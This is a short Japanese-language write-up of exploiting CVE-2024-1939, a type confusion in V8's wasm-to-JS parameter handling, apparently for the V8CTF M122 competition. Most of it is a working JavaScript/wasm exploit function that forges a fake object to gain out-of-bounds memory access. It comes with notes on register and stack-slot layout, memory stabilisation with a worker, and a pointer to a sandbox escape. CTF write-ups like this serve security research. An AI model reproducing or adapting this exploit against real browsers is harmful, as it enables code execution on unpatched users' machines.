これは、V8CTF M122を獲得するために使用したCVE-2024-1939に関する短い解説です。
この問題の根本原因は、wasm-to-js変換におけるkWasmS128のサポート欠如です。具体的には、パラメータスタックで発生するwasmS128Const操作が無視され、パラメータにExprRefが存在する場合に型混淆を引き起こします。
詳細には、これによりint/floatが直接オブジェクトに変換されます。そのため、任意の長さを持つ偽の配列を簡単に構築でき、OOB読み書きが可能になります。回避すべき障害がもう1つあります：wasmS128Constは、FPSlotに格納されるfloat型パラメータにのみ作用し、GPSlotに格納されるタグ付きパラメータには影響しません。StackSlotに方法があります。FP/GPレジスタにはサイズ制限があります。その後、パラメータは順番にStackSlotに格納されます。レジスタを埋めてStackSlotにfloat値を置くと、タグ付きパラメータがStackSlotから解析され、偽のオブジェクトが得られます。
最終的なexpには、簡潔さと速度のため、このwasmモジュールのビルダーは含めません。ここに添付します。
function get_corrupt(addr) {
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
u32[0] = addr;
u32[1] = 0;
const builder = new WasmModuleBuilder();
const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
const importId = builder.addImport('mod', 'foo', typeId);
builder.addDeclarativeElementSegment([importId]);
builder.addFunction('main', kSig_v_v)
.addLocals(wasmRefType(kWasmI31Ref), 1)
.addBody([
...wasmS128Const(0xdeadbeef, 0xdeadbeef),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(f64[0]),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI32Const(0xaaaaaaaa),
kGCPrefix, kExprRefI31, kExprLocalTee, 0,
kExprRefFunc, importId,
kExprRefFunc, importId,
kExprCallRef, typeId,
]).exportFunc();
const instance = builder.instantiate({ mod: { foo: ff } });
let f = instance.exports.main
f();
}
get_corrupt(addr);
メモリを安定させるためにワーカーが使用されています。ワーカースレッドではアドレスが比較的安定していることが確認されているためです。
サンドボックス回避については、V8-Sandbox-Escape-via-Regexp を参照してください。最終的なエクスプロイトは通常のorwチェーンを使用してstderr経由でフラグを書き出します。